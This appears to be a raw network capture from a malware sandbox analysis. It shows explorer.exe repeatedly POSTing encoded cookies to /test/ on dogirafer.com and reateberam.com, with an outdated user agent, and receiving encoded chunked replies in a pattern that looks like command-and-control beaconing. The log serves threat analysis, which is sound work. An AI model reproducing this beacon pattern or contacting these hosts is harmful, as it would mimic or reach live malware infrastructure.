2024-12-02 17:45:34 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 43 32 64 51 4d 47 79 33 49 70 6c 5a 42 2f 62 6a 47 4c 6f 67 33 39 48 4d 6b 6e 57 41 79 48 43 62 50 36 7a 74 79 2f 49 59 47 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 76 4a 6b 59 73 65 5a 4c 6c 37 46 77 71 44 4c 65 32 73 36 52 47 75 35 43 6f 70 38 6b 33 37 6b 35 64 48 57 42 50 36 63 4b 68 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 45 34 44 4f 33 6a 49 68 70 2b 62 37 4c 45 66 33 67 6b 35 63 74 44 37 31 72 56 43 68 39 46 37 45 77 39 4f 56 49 49 4f 49 72 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 57 51 4a Data Ascii: 150PC2dQMGy3IplZB/bjGLog39HMknWAyHCbP6zty/IYGmcphSGpB6yiJiVjA1vJkYseZLl7FwqDLe2s6RGu5Cop8k37k5dHWBP6cKhfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcE4DO3jIhp+b7LEf3gk5ctD71rVCh9F7Ew9OVIIOIrMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1WQJ
2024-12-02 17:45:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50003	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:36 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnYAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:37 UTC	787	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DPr0LOdrbeQwfVI1f6COcmptmE3iOdFxFmQW698pMaLeGjLwru%2FpSEBvMbF0juQPa%2Bp2F%2FXfbfmh94vf08nZ5dgRDD3X0l%2BXkH%2FLchvIlaKNHn2AEHkguOqE31fZf9g0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd21b38831433a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1716&rtt_var=643&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1052&delivery_rate=1701631&cwnd=241&unsent_bytes=0&cid=07d74bbd07e50989&ts=1621&x=0"
2024-12-02 17:45:37 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 43 79 59 54 63 47 78 32 6f 70 6a 5a 68 76 59 68 47 48 69 67 33 39 48 4f 45 37 52 41 79 48 43 5a 2f 65 33 76 43 62 4f 59 47 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 71 4a 45 45 73 63 70 58 6b 37 46 73 69 44 4c 53 37 75 4b 64 47 73 70 57 6f 72 63 34 35 35 45 35 63 48 47 46 4e 37 38 4f 6f 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 41 77 42 4f 6a 6a 4b 42 52 2b 5a 4c 44 44 65 58 51 72 71 34 39 50 36 46 54 59 43 52 41 70 67 45 41 37 4d 31 30 4d 4f 38 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 35 51 54 35 Data Ascii: 150OCyYTcGx2opjZhvYhGHig39HOE7RAyHCZ/e3vCbOYGmcphSGpB6yiJiVjA1qJEEscpXk7FsiDLS7uKdGspWorc455E5cHGFN78OofW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcAwBOjjKBR+ZLDDeXQrq49P6FTYCRApgEA7M10MO8C9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBf5QT5
2024-12-02 17:45:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50004	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:39 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnZwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:41 UTC	789	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l2JvCjHbQHhRa4qlUZ7DicwocyJ%2FjQuZc1tDkHelkFsjYiyDs5jf58qVWrRTR0g3Ei%2BqzbELbquGcqPEZReq1qz7A9c73fbBLU%2FffIpqZc47e%2BO71lKvL9E%2FukpYEztR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd21c79f90236b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=50749&min_rtt=3151&rtt_var=29575&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1052&delivery_rate=926689&cwnd=172&unsent_bytes=0&cid=6c2fd9a841aa9f30&ts=1617&x=0"
2024-12-02 17:45:41 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 43 71 65 52 38 53 31 32 34 70 6c 5a 52 37 64 67 6d 58 68 67 33 4e 49 50 55 6a 56 41 69 54 43 61 50 75 36 76 43 44 45 5a 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 6d 49 30 41 73 63 35 66 6d 37 46 30 71 43 37 61 2b 75 4f 30 4d 74 5a 75 76 6f 4d 6f 33 67 69 4a 57 46 57 5a 4b 35 34 2b 64 43 7a 5a 79 61 6d 34 44 44 55 58 69 70 59 53 4e 44 32 6a 45 71 79 6f 62 4d 49 77 4e 35 62 67 76 31 6b 37 33 39 76 79 5a 48 54 41 77 74 67 37 2b 4a 42 7a 42 46 73 77 33 44 65 33 72 54 68 67 58 61 62 50 48 66 48 6c 68 34 6f 42 43 36 46 50 66 44 33 5a 48 69 6b 41 37 4d 56 38 42 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 4e 76 35 58 52 35 Data Ascii: 150PCqeR8S124plZR7dgmXhg3NIPUjVAiTCaPu6vCDEZmmcphSGpB6yiJiVjA1mI0Asc5fm7F0qC7a+uO0MtZuvoMo3giJWFWZK54+dCzZyam4DDUXipYSND2jEqyobMIwN5bgv1k739vyZHTAwtg7+JBzBFsw3De3rThgXabPHfHlh4oBC6FPfD3ZHikA7MV8BcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZNv5XR5
2024-12-02 17:45:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50006	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:43 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:44 UTC	789	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hW2VT0Tf42kdRJpZYMvXgc9Ogag6TJ5vr7EUGGn2GwM82YWEwvU5kdORkG8ekEE58MyPWt4zo5NUSwBuV4MGP12zYxzGiPXhPaPaxryv0ohctwWWW%2B%2BBNnsjMABGZkbIMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd21e11a06ebbd-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14188&min_rtt=14183&rtt_var=5329&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=205243&cwnd=32&unsent_bytes=0&cid=ed4390e4bed9a7ce&ts=810&x=0"
2024-12-02 17:45:44 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 79 2b 65 52 4d 43 79 32 49 70 76 59 42 54 64 6a 57 44 6a 67 33 52 48 4d 6b 6e 66 42 79 50 43 62 66 79 78 76 79 58 50 59 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 72 4a 55 34 72 65 5a 58 6f 37 46 30 67 43 72 75 2f 73 71 4a 47 74 70 65 76 70 4d 73 2f 36 45 35 58 48 6d 4e 45 37 4d 43 68 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 77 30 41 65 7a 6a 4a 78 56 2b 5a 4c 4c 43 66 6e 55 74 35 38 74 42 37 56 72 59 43 78 6c 4f 37 45 34 38 4e 56 34 4d 4e 6f 7a 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 62 52 35 Data Ascii: 150Py+eRMCy2IpvYBTdjWDjg3RHMknfByPCbfyxvyXPYmmcphSGpB6yiJiVjA1rJU4reZXo7F0gCru/sqJGtpevpMs/6E5XHmNE7MChfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kcw0AezjJxV+ZLLCfnUt58tB7VrYCxlO7E48NV4MNozMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1bR5
2024-12-02 17:45:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50007	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:45 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:46 UTC	792	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a%2BVaHXXdmaymv0nt%2FeJxcYLThx7RI943WZAtScAcxpbXuLpoJqrnyNdSC6zvBG%2BafBBhEF3MGt2wW3L2SzG72PxzuYVc3JAnTwYjQonwponApyQZj7TWJIT8q03g5hSfHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd21ef69beab2a-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29426&min_rtt=13890&rtt_var=15883&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=210223&cwnd=32&unsent_bytes=0&cid=a5779f68228b3be9&ts=871&x=0"
2024-12-02 17:45:46 UTC	339	IN	Data Raw: 31 34 63 0d 0a 4d 79 71 55 52 63 71 31 30 59 70 68 59 78 7a 59 68 32 54 67 67 33 42 47 50 6b 2f 52 41 79 50 43 62 50 69 79 74 79 44 49 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 52 6f 4a 55 38 6f 66 4a 4b 4f 68 56 34 6b 44 4c 75 34 74 4f 30 43 73 5a 43 75 70 63 38 32 67 69 5a 56 48 47 64 45 37 4d 44 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 45 4d 45 32 44 4f 33 6d 4a 48 4d 53 5a 62 62 47 63 6e 45 74 71 34 39 43 36 6c 4c 64 43 58 5a 45 69 6b 77 2b 4f 56 6f 42 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 4e 2f 39 56 52 4a Data Ascii: 14cMyqURcq10YphYxzYh2Tgg3BGPk/RAyPCbPiytyDIKRib7xuPoA21j4bUizRoJU8ofJKOhV4kDLu4tO0CsZCupc82giZVHGdE7MDsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4EME2DO3mJHMSZbbGcnEtq49C6lLdCXZEikw+OVoBcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZN/9VRJ
2024-12-02 17:45:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50008	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:48 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnZQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:48 UTC	790	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n4Ker%2BpndsxtiGiXFJ4AU7TWiMtg%2FMa960yD5jHBseLoqxmgzdPvTWo2FVVuzcowoqZhB32H6FWRIARBxVyEH8yxKrsXdUdpJHStGvDNZqoRYtwZjv%2F677FWA8fYDbu6uQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd21fcef705e6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1770&rtt_var=666&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=1639528&cwnd=214&unsent_bytes=0&cid=44e4753bd2401a85&ts=749&x=0"
2024-12-02 17:45:48 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 53 53 62 51 73 75 77 32 34 70 76 59 78 76 59 68 47 50 68 67 33 64 47 4f 45 76 66 41 69 6a 43 61 50 32 7a 76 43 48 4b 5a 32 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 74 4a 55 59 70 66 4a 4c 6c 37 46 73 6d 44 72 47 39 74 36 6c 47 73 5a 4b 75 70 63 6f 36 36 6b 35 53 46 47 56 4d 37 38 61 6d 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 41 35 41 2b 7a 6a 4b 52 39 2b 62 62 48 46 66 33 59 70 37 73 74 42 37 31 54 66 44 68 70 43 37 45 34 34 4e 31 67 4b 50 59 58 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 61 51 70 Data Ascii: 150PSSbQsuw24pvYxvYhGPhg3dGOEvfAijCaP2zvCHKZ2mcphSGpB6yiJiVjA1tJUYpfJLl7FsmDrG9t6lGsZKupco66k5SFGVM78amfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcA5A+zjKR9+bbHFf3Yp7stB71TfDhpC7E44N1gKPYXMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1aQp
2024-12-02 17:45:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50009	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:50 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnZAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:51 UTC	797	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2ZGHr7Ez%2FrjWzq6Cl%2B%2FkIFSzG9oJXgJvL71AqV1yBatSL74LvU%2BfcPwpndSH8tNI5hb1vVMORzqIjPM9LXROjvZokraK9OvUoOCnNYhAS1SsI5RSZi%2BvL5o%2BXKKnmXdndQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd220b59d9ab63-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13923&min_rtt=13911&rtt_var=5225&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1053&delivery_rate=209905&cwnd=32&unsent_bytes=0&cid=1beb4e4968beaae4&ts=900&x=0"
2024-12-02 17:45:51 UTC	339	IN	Data Raw: 31 34 63 0d 0a 4f 53 57 59 51 63 53 7a 32 6f 70 6a 61 78 6e 66 6a 47 62 70 67 33 42 4f 4f 30 72 58 42 53 54 43 61 2f 69 33 76 53 48 4c 5a 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 6d 4c 6b 59 69 66 4a 62 6f 37 46 67 6d 44 37 65 32 74 65 30 4e 74 35 4f 70 6f 38 34 2f 67 69 5a 52 46 47 46 50 37 73 58 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 46 63 77 31 42 75 37 6c 4a 6e 4d 5a 62 72 50 43 65 58 64 68 35 6f 64 43 35 6c 48 63 41 58 5a 48 69 6b 6b 38 4d 46 34 41 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 4e 2f 4e 56 52 4a Data Ascii: 14cOSWYQcSz2opjaxnfjGbpg3BOO0rXBSTCa/i3vSHLZmmcphSGpB6yiJiVjA1mLkYifJbo7FgmD7e2te0Nt5Opo84/giZRFGFP7sXsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4Fcw1Bu7lJnMZbrPCeXdh5odC5lHcAXZHikk8MF4AcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZN/NVRJ
2024-12-02 17:45:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50010	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:52 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnawqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:53 UTC	799	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FGY%2Bwln367lELMbjJ%2BkApjnlYQHFk3YXA1%2BxSpTFM25th%2BHyaQbvTAMsoswFy5%2FG%2FeBhFXvxb84LNSyuRXH788hD5tVPyEUs5JUKzw1AGkyUSFfmu2wYceEluNIzGESaBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22188c364328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=21199&min_rtt=1809&rtt_var=12303&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=1614151&cwnd=220&unsent_bytes=0&cid=c499705b81e5339c&ts=753&x=0"
2024-12-02 17:45:53 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 53 57 55 52 38 53 78 33 34 70 6b 5a 68 6a 59 68 32 58 68 67 33 46 48 50 45 4c 66 44 53 4c 43 61 76 69 33 75 43 4c 46 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 35 70 4a 55 51 72 66 4a 75 4f 68 6c 38 6e 44 62 61 32 73 75 30 49 73 4a 53 6d 6f 38 77 34 67 69 64 54 48 57 46 46 36 73 62 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 46 73 41 77 41 75 6e 6e 4a 58 4d 53 62 37 2f 48 65 58 51 74 71 34 56 41 36 6c 76 5a 43 68 34 70 69 30 38 35 4d 31 67 49 4f 73 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 39 57 52 5a Data Ascii: 150OSWUR8Sx34pkZhjYh2Xhg3FHPELfDSLCavi3uCLFKRib7xuPoA21j4bUiz5pJUQrfJuOhl8nDba2su0IsJSmo8w4gidTHWFF6sbsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4FsAwAunnJXMSb7/HeXQtq4VA6lvZCh4pi085M1gIOsC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBf9WRZ
2024-12-02 17:45:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50011	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:54 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnagqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:55 UTC	790	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ooNR19ZAWOZtwAOtd4acpq9bHD3Z%2BpoAnmKSaRsZObihz5xuSCRFC3YqhrR0QZFtfo%2FJXJUyJsVY2zwDig35XzZfPNSjX5CaV4YMcilWqv%2B5RyUmpVONHX5f24E0EOs53A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd2225ba197c9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1779&rtt_var=699&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=1532004&cwnd=213&unsent_bytes=0&cid=b13e7adbef4bc2ad&ts=802&x=0"
